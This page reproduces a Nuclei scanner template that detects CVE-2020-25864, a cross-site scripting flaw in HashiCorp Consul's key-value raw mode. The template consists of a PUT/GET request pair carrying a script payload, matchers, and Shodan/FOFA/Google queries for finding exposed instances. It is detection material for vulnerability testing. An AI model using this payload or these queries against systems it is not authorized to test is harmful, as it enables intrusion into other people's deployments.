CVE-2020-25864: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting

2025-08-01 HashiCorp Consul PoC Public

Description

HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.

PoC

id: CVE-2020-25864

info:
  name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
  author: c-sh0
  severity: medium
  description: |
    HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.
  remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14.
  reference:
    - https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
    - https://www.hashicorp.com/blog/category/consul
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25864
    - https://security.gentoo.org/glsa/202208-09
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-25864
    cwe-id: CWE-79
    epss-score: 0.06085
    epss-percentile: 0.93044
    cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*
  metadata:
    max-request: 2
    vendor: hashicorp
    product: consul
    shodan-query:
      - http.title:"consul by hashicorp"
      - cpe:"cpe:2.3:a:hashicorp:consul"
    fofa-query: title="consul by hashicorp"
    google-query: intitle:"consul by hashicorp"
  tags: cve,cve2020,consul,xss,intrusive,hashicorp,vuln

http:
  - raw:
      - |
        PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
        Host: {{Hostname}}

        <!DOCTYPE html><script>alert(document.domain)</script>
      - |
        GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/html

      - type: word
        part: body_2
        words:
          - <!DOCTYPE html><script>alert(document.domain)</script>

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008b487d6a8003a9e7e3a26a92276afd6d711d9b1ed34d7aecc5f1f20ddfe06134022100e539dabca27a34873794aed7a61c514dc8a919c0c7b0371d40296a305cf0f2e4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-25864.yaml

References

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